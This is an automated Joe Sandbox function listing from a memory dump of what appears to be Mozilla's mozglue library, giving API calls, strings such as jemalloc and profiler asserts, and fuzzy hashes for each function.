Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 947ddbdd798f1f510ac3d7436506b094ea5537b3c638f7c6a9fd21c321bbcb29
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: A533BE71E0021ACFCB14CFA8C8806EDBBF2FF59310F288269D955AB755E735A945CB90

Function 6CBDFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4E7B8), ref: 6CBDFF81
LeaveCriticalSection.KERNEL32(6CC4E7B8), ref: 6CBE022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CBE0240
EnterCriticalSection.KERNEL32(6CC4E768), ref: 6CBE025B
LeaveCriticalSection.KERNEL32(6CC4E768), ref: 6CBE027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CBE0D67, 6CBE0D7B, 6CBE0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CBDFE99, 6CBDFEB7, 6CBDFED3, 6CBE0DB8, 6CBE0DD3, 6CBE19B4
<jemalloc>, xrefs: 6CBE0D62, 6CBE0D76, 6CBE0DA7

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: ac1ad6d6d3673f6c09332bcdd6d0ade8e4c478bf70dd7482f694c292edfe00b2
Instruction ID: 9024e7ab5669b5032ac55a05dc933f5c338382d690d9f8f221294c5c5692c57c
Opcode Fuzzy Hash: ac1ad6d6d3673f6c09332bcdd6d0ade8e4c478bf70dd7482f694c292edfe00b2
Instruction Fuzzy Hash: CFC2C271A057818FD714CF28C480716BBE1FF89768F28C66DE8698B796D771E841CB82

Function 6CC2E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CC2E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC2EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CC2EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC2EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC2F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CC2F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC30E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CC30E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CC30EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CC30ED4

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: b160424fb0bbc05881dd6b1db30e2468919a8cbb18da6d3ebee59bf5199ddd5c
Instruction ID: 75a0a95b960468f282fb0501cafdc14315c5da16d075540a31f4aec2ef1548db
Opcode Fuzzy Hash: b160424fb0bbc05881dd6b1db30e2468919a8cbb18da6d3ebee59bf5199ddd5c
Instruction Fuzzy Hash: 0A638072E0025ACFCB04CFA8D8905DDF7B2FF89310F298269D859AB755E734A945CB90

Function 6CC03E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CC27770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CC03E7D,?,?,?,6CC03E7D,?,?), ref: 6CC2777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CC03F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CC03F5C
VerSetConditionMask.NTDLL ref: 6CC03F8D
VerSetConditionMask.NTDLL ref: 6CC03F99
VerSetConditionMask.NTDLL ref: 6CC03FA0
VerSetConditionMask.NTDLL ref: 6CC03FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CC03FB4

Strings

nvinit.dll, xrefs: 6CC04479
nvd3d9wrap.dll, xrefs: 6CC04466

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: c1ee553e5e6682c861329578b6ba8507e06d1d6a586845bd0b1be9dcf77cd839
Instruction ID: 11a3bb2244d1dfa52d276213448ee62d8984918cc7d7b1584d12f9e7a32d131e
Opcode Fuzzy Hash: c1ee553e5e6682c861329578b6ba8507e06d1d6a586845bd0b1be9dcf77cd839
Instruction Fuzzy Hash: 0252EF71614B898FD714DF34C890AAFB7E9AF85308F05492DE4968BB42DB35F909CB60

Function 6CBEED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CBEEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CBEEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CBF1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBF16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CBF1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CBF1A3E

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 39856adf30f977e1e5761a8b5e4c65761fdb8117294eaf29ddeec1ed274425ee
Instruction ID: ba2b8be04438c495e6d71cd27887d8d424141655649142fc4b727202b3d99647
Opcode Fuzzy Hash: 39856adf30f977e1e5761a8b5e4c65761fdb8117294eaf29ddeec1ed274425ee
Instruction Fuzzy Hash: CCB32A71E00269CFCB14CFA8C890A9DB7B2FF49304F1981A9D459AB755D730AD8ACF91

Function 6CBDFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4E7B8), ref: 6CBDFF81
LeaveCriticalSection.KERNEL32(6CC4E7B8), ref: 6CBE022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CBE0240
EnterCriticalSection.KERNEL32(6CC4E768), ref: 6CBE025B
LeaveCriticalSection.KERNEL32(6CC4E768), ref: 6CBE027B

Strings

MOZ_CRASH(), xrefs: 6CBE0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CBDFE99, 6CBDFEB7, 6CBDFED3, 6CBE0DB8, 6CBE0DD3, 6CBE19B4, 6CBE1A10

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: a353353f12347c3d559c9f5da99ad6b951c459d04ffedb9c97c1fd176a535b70
Instruction ID: 9ff6243701b2628d588ebadd4eb58abadf77573f235091104d3589a50e2586bb
Opcode Fuzzy Hash: a353353f12347c3d559c9f5da99ad6b951c459d04ffedb9c97c1fd176a535b70
Instruction Fuzzy Hash: CBB2CF716057818FD714CF29C590716BBE1FF89B68F28C66CE86A8B796D730E841CB42

Function 6CC15600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

schema, xrefs: 6CC1606D
name, xrefs: 6CC15E79, 6CC15E8F
expected a Count entry, xrefs: 6CC15AC3
data, xrefs: 6CC16131
ProfileBuffer parse error: %s, xrefs: 6CC15AC8, 6CC15CBB
expected a Time entry, xrefs: 6CC15CB6

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 4b021ac09441cae7d5e6abf687a88b834a8ad37814c772bbdecfa9fb1ee20815
Instruction ID: 237f9aa62d909723f1e36a240ff61d939467db36eb58679e1ca20768cfcc2d21
Opcode Fuzzy Hash: 4b021ac09441cae7d5e6abf687a88b834a8ad37814c772bbdecfa9fb1ee20815
Instruction Fuzzy Hash: 38924C71A083418FD724CF29C49079EB7E1BFC9308F15891DE59A9BB51EB30E849DB92

Function 6CC12E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CC12ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC12EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CC12F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC13214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC13242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC136BF

Strings

set , xrefs: 6CC136EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CC1378D
get , xrefs: 6CC13205

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 06123ee7f6f5c0a317f2ce37d2c1f19f7950069c383f3bc95728e6d2f26e5789
Instruction ID: aa3d66d83e7bed466daf4925ab33b110390e18187ea7648864b3c7b92611f07b
Opcode Fuzzy Hash: 06123ee7f6f5c0a317f2ce37d2c1f19f7950069c383f3bc95728e6d2f26e5789
Instruction Fuzzy Hash: B63260B460C3818FD324CF25C49069FBBE2AFC9318F58891DE59987B51EB30D94ADB52

Function 6CBED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBFD1C5), ref: 6CBED4F2
LeaveCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBFD1C5), ref: 6CBED50B

Part of subcall function 6CBCCFE0: EnterCriticalSection.KERNEL32(6CC4E784), ref: 6CBCCFF6
Part of subcall function 6CBCCFE0: LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBCD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBFD1C5), ref: 6CBED52E
EnterCriticalSection.KERNEL32(6CC4E7DC), ref: 6CBED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBED6A6
LeaveCriticalSection.KERNEL32(6CC4E7DC), ref: 6CBED712
LeaveCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBFD1C5), ref: 6CBED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBED7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CBED82C
<jemalloc>, xrefs: 6CBED827

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 2ed11b380435845795a2d1d517a54e175cad8774d2d31d189ae6925fc8996142
Instruction ID: 7f1de1c6be2f668e60a0a1fd1d5837411089003e9cc6a9c8b1bb0881d5c94e1e
Opcode Fuzzy Hash: 2ed11b380435845795a2d1d517a54e175cad8774d2d31d189ae6925fc8996142
Instruction Fuzzy Hash: 2E91B271A047818FD714CF39D09072AB7F1EBD9758F15C92ED55A87A81E7B0E844CB82

Function 6CBE5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBE5EDB
memset.VCRUNTIME140(6CC27765,000000E5,55CCCCCC), ref: 6CBE5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CBE5FB2
memset.VCRUNTIME140(6CC27765,000000E5,C4C09015), ref: 6CBE61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CBE7652

Strings

MOZ_CRASH(), xrefs: 6CBE7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CBE72F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CBE72E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CBE7BCD, 6CBE7C1F, 6CBE7C34, 6CBE80FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CBE730D

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: c6eb8322d53b93a3c062bc22ffbe8ed7bed297b51d12aa62402e8ce70b386672
Instruction ID: 9dc0a6fe68068b07b5ac4c8a8bfde76f871e474d46371b7ba8dba98e9b31d47e
Opcode Fuzzy Hash: c6eb8322d53b93a3c062bc22ffbe8ed7bed297b51d12aa62402e8ce70b386672
Instruction Fuzzy Hash: 5A33CD716057418FC308CF28C590615BBE2FF89768F29C6ADE9698F7A6C771E841CB42

Function 6CC24EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CC24EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC24F2E
moz_xmalloc.MOZGLUE ref: 6CC24F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CC24F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC252E6
Sleep.KERNEL32(00000010), ref: 6CC25481
free.MOZGLUE(?), ref: 6CC25498

Strings

(, xrefs: 6CC25250

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: c28a9850b8a9c42d44a5ed9cc77b9845626f1d8f48d5293a54a332ceed536082
Instruction ID: 543feb1b111c7f09819b579a4ab02d183a9da9153113eb06eeec0a82e43a1382
Opcode Fuzzy Hash: c28a9850b8a9c42d44a5ed9cc77b9845626f1d8f48d5293a54a332ceed536082
Instruction Fuzzy Hash: 77F1C371A18B408FC716DF39C85062BB7F5AFD6284F05C72EF84AA7651EB31D8468B81

Function 6CC12C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CC12C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CC12C61

Part of subcall function 6CBC4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBC4E5A
Part of subcall function 6CBC4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBC4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC12C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC12E2D

Part of subcall function 6CBD81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CBD81DE

Strings

(root), xrefs: 6CC1354F
ProfileBuffer parse error: %s, xrefs: 6CC12E3B
expected a Time entry, xrefs: 6CC12E36

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 903b425049e9ab1b5316992ad383107b0da754da089b398c17290af86ee6b040
Instruction ID: 22827840f26afe904703b61b6f1e92af40bc37432df94bd6f68f7ca94338d388
Opcode Fuzzy Hash: 903b425049e9ab1b5316992ad383107b0da754da089b398c17290af86ee6b040
Instruction Fuzzy Hash: C591D0B460C3808FD724DF26C49469FB7F1AF8A358F10891DE59A8BB50EB30D949CB42

Function 6CBCD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6CBCDE7F
1, xrefs: 6CBCDBDD
, xrefs: 6CBCDA88
-, xrefs: 6CBCD7DD
8, xrefs: 6CBCDC08
@, xrefs: 6CBCDAF6
0, xrefs: 6CBCD852
0, xrefs: 6CBCDC7F

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: a0fa7a27d1a5be954967c133e0be23910c794d74b989f483dd09655cd4901e4e
Instruction ID: 2f7973a59ad8d9dbc3b6a68dc621248827ad791281e87bbcfdaa3d2befb8a22d
Opcode Fuzzy Hash: a0fa7a27d1a5be954967c133e0be23910c794d74b989f483dd09655cd4901e4e
Instruction Fuzzy Hash: 1B62AC7978C3858FDB01CE38E49075ABBE2EF86358F184A1DE8D54BA51C3759885CB83

Function 6CBCBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CBCC1CB
__aulldiv.LIBCMT ref: 6CBCC24C
__aulldiv.LIBCMT ref: 6CBCC348
__aullrem.LIBCMT ref: 6CBCC365
__aulldiv.LIBCMT ref: 6CBCC37D

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: d126f4a318e2fde4897e5563eace6e9988a86b8b8208c0cb33d39c25b51f7564
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: F5322532B046518FC718DE2CC89065ABBE6EFD9310F09866DE899CB395D730ED05CB92

Function 6CC3545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CC38A4B

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 78cad70dbaff45e4983037591adf7eb838b17a55725311f0ebadb0b358791834
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 83B1C772A0022A8FDB14CF68DC90BD9B7B2FF85314F1512AAC54DDB795E730A985CB90

Function 6CC3542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CC388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CC3925C

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
